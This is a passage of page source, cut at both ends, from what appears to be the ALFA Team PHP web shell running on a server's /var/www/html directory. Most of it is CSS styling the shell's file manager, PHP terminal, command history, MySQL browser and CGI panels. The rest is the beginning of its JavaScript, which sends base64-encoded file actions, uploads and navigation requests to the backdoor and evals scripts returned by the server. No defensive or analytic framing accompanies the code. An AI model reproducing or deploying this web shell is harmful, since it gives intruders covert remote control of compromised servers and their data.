#0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}

@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = 'Windows-1251';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td 